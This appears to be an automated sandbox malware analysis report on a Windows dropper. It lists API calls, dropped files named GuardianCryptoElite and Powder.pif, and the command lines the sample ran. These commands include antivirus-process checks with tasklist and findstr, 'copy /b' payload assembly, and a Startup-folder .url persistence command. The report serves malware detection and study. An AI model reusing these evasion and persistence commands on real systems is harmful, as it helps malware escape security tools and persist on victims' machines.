Source: cW5i0RdQ4L.exe, 00000000.00000003.2070188585.000000000295D000.00000004.00000020.00020000.00000000.sdmp, Powder.pif, 0000000B.00000002.3299975901.000000000128C000.00000004.00000020.00020000.00000000.sdmp, Powder.pif, 0000000B.00000003.2114333417.0000000003BD8000.00000004.00000800.00020000.00000000.sdmp, GuardianCryptoElite.scr.11.dr, Serious.0.dr, Powder.pif.2.dr	String found in binary or memory: https://www.globalsign.com/repository/06

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705

Source: unknown	HTTPS traffic detected: 104.21.76.57:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.76.57:443 -> 192.168.2.5:49750 version: TLS 1.2

Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe

Code function: 0_2_004050CD GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_004050CD

Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 11_2_00CF4830 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,		11_2_00CF4830
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 17_2_00364830 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,		17_2_00364830

Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif

Code function: 11_2_00CF4632 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

11_2_00CF4632

Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe

Code function: 0_2_004044A5 GetDlgItem,GetDlgItem,IsDlgButtonChecked,GetDlgItem,GetAsyncKeyState,GetDlgItem,ShowWindow,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_004044A5

Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 11_2_00D0D164 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,		11_2_00D0D164
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 17_2_0037D164 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,		17_2_0037D164

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif

Code function: 11_2_00CE42D5: CreateFileW,DeviceIoControl,CloseHandle,

11_2_00CE42D5

Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif

Code function: 11_2_00CD8F2E _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

11_2_00CD8F2E

Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Code function: 0_2_00403883 EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,DeleteFileW,CoUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,ExitWindowsEx,	0_2_00403883
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 11_2_00CE5778 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,	11_2_00CE5778
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 17_2_00355778 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,	17_2_00355778

Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Code function: 0_2_0040497C	0_2_0040497C
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Code function: 0_2_00406ED2	0_2_00406ED2
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Code function: 0_2_004074BB	0_2_004074BB
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 11_2_00C8B020	11_2_00C8B020
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 11_2_00C894E0	11_2_00C894E0
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 11_2_00C89C80	11_2_00C89C80
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 11_2_00CA23F5	11_2_00CA23F5
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 11_2_00D08400	11_2_00D08400
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 11_2_00CB6502	11_2_00CB6502
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 11_2_00C8E6F0	11_2_00C8E6F0
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 11_2_00CB265E	11_2_00CB265E
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 11_2_00CA282A	11_2_00CA282A
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 11_2_00CB89BF	11_2_00CB89BF
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 11_2_00CB6A74	11_2_00CB6A74
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 11_2_00D00A3A	11_2_00D00A3A
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 11_2_00C90BE0	11_2_00C90BE0
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 11_2_00CDEDB2	11_2_00CDEDB2
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 11_2_00CACD51	11_2_00CACD51
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 11_2_00D00EB7	11_2_00D00EB7
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 11_2_00CE8E44	11_2_00CE8E44
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 11_2_00CB6FE6	11_2_00CB6FE6
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 11_2_00CA33B7	11_2_00CA33B7
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 11_2_00C9D45D	11_2_00C9D45D
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 11_2_00CAF409	11_2_00CAF409
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 11_2_00C8F6A0	11_2_00C8F6A0
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 11_2_00CA16B4	11_2_00CA16B4
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 11_2_00C81663	11_2_00C81663
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 11_2_00C9F628	11_2_00C9F628
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 11_2_00CA78C3	11_2_00CA78C3
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 11_2_00CA1BA8	11_2_00CA1BA8
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 11_2_00CADBA5	11_2_00CADBA5
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 11_2_00CB9CE5	11_2_00CB9CE5
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 11_2_00C9DD28	11_2_00C9DD28
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 11_2_00CA1FC0	11_2_00CA1FC0
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 11_2_00CABFD6	11_2_00CABFD6
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 17_2_002FB020	17_2_002FB020
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 17_2_002F94E0	17_2_002F94E0
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 17_2_002F9C80	17_2_002F9C80
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 17_2_003123F5	17_2_003123F5
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 17_2_00378400	17_2_00378400
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 17_2_00326502	17_2_00326502
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 17_2_0032265E	17_2_0032265E
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 17_2_002FE6F0	17_2_002FE6F0
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 17_2_0031282A	17_2_0031282A
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 17_2_003289BF	17_2_003289BF
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 17_2_00370A3A	17_2_00370A3A
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 17_2_00326A74	17_2_00326A74
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 17_2_00300BE0	17_2_00300BE0
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 17_2_0031CD51	17_2_0031CD51
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 17_2_0034EDB2	17_2_0034EDB2
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 17_2_00358E44	17_2_00358E44
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 17_2_00370EB7	17_2_00370EB7
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 17_2_00326FE6	17_2_00326FE6
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 17_2_002F32C0	17_2_002F32C0
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 17_2_003133B7	17_2_003133B7
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 17_2_0031F409	17_2_0031F409
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 17_2_0030D45D	17_2_0030D45D
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 17_2_0030F628	17_2_0030F628
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 17_2_002F1663	17_2_002F1663
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 17_2_003116B4	17_2_003116B4
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 17_2_002FF6A0	17_2_002FF6A0
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 17_2_003178C3	17_2_003178C3
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 17_2_0031DBA5	17_2_0031DBA5
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 17_2_00311BA8	17_2_00311BA8
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 17_2_00329CE5	17_2_00329CE5
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 17_2_002F7CC9	17_2_002F7CC9
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 17_2_0030DD28	17_2_0030DD28
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 17_2_0031BFD6	17_2_0031BFD6
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 17_2_00311FC0	17_2_00311FC0

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr D8B7C7178FBADBF169294E4F29DCE582F89A5CF372E9DA9215AA082330DC12FD
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\103495\Powder.pif D8B7C7178FBADBF169294E4F29DCE582F89A5CF372E9DA9215AA082330DC12FD

Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: String function: 00301A36 appears 34 times
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: String function: 00318B30 appears 42 times
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: String function: 00310D17 appears 70 times
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: String function: 00C91A36 appears 34 times
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: String function: 00CA8B30 appears 42 times
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: String function: 00CA0D17 appears 70 times
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Code function: String function: 004062A3 appears 57 times

Source: cW5i0RdQ4L.exe

Static PE information: invalid certificate

Source: cW5i0RdQ4L.exe, 00000000.00000003.2070188585.000000000295D000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: OriginalFilenameAutoIt3.exeB vs cW5i0RdQ4L.exe

Source: cW5i0RdQ4L.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: cW5i0RdQ4L.exe

Static PE information: Section: .reloc ZLIB complexity 1.002685546875

Source: classification engine

Classification label: mal88.expl.evad.winEXE@28/18@3/1

Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif

Code function: 11_2_00CEA6AD GetLastError,FormatMessageW,

11_2_00CEA6AD

Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 11_2_00CD8DE9 AdjustTokenPrivileges,CloseHandle,	11_2_00CD8DE9
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 11_2_00CD9399 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,	11_2_00CD9399
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 17_2_00348DE9 AdjustTokenPrivileges,CloseHandle,	17_2_00348DE9
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 17_2_00349399 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,	17_2_00349399

Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe

0_2_004044A5

Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif

Code function: 11_2_00CE4148 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

11_2_00CE4148

Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe

Code function: 0_2_004024FB CoCreateInstance,

0_2_004024FB

Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif

Code function: 11_2_00CE443D __swprintf,__swprintf,FindResourceW,LoadResource,LockResource,FindResourceW,LoadResource,SizeofResource,LockResource,CreateIconFromResourceEx,

11_2_00CE443D

Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif

File created: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3840:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5688:120:WilError_03

Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe

File created: C:\Users\user\AppData\Local\Temp\nsnBA57.tmp

Jump to behavior

Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe

Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move Centres Centres.bat & Centres.bat

Source: cW5i0RdQ4L.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process

Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: cW5i0RdQ4L.exe

Virustotal: Detection: 13%

Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe

File read: C:\Users\user\Desktop\cW5i0RdQ4L.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\cW5i0RdQ4L.exe "C:\Users\user\Desktop\cW5i0RdQ4L.exe"
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move Centres Centres.bat & Centres.bat
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr -I "avastui avgui bdservicehost nswscsvc sophoshealth"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 103495
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "aroundaccommodategroupseverything" Fine
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Correct + ..\Transparent + ..\Barbie + ..\Gloves + ..\Latin + ..\Story + ..\Ski + ..\Appraisal n
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\103495\Powder.pif Powder.pif n
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Process created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\GuardianCryptoElite.url" & echo URL="C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\GuardianCryptoElite.url" & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr "C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr" "C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\O"
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move Centres Centres.bat & Centres.bat	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr -I "avastui avgui bdservicehost nswscsvc sophoshealth"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 103495	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "aroundaccommodategroupseverything" Fine	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Correct + ..\Transparent + ..\Barbie + ..\Gloves + ..\Latin + ..\Story + ..\Ski + ..\Appraisal n	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\103495\Powder.pif Powder.pif n	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Process created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\GuardianCryptoElite.url" & echo URL="C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\GuardianCryptoElite.url" & exit	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr "C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr" "C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\O"	Jump to behavior

Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
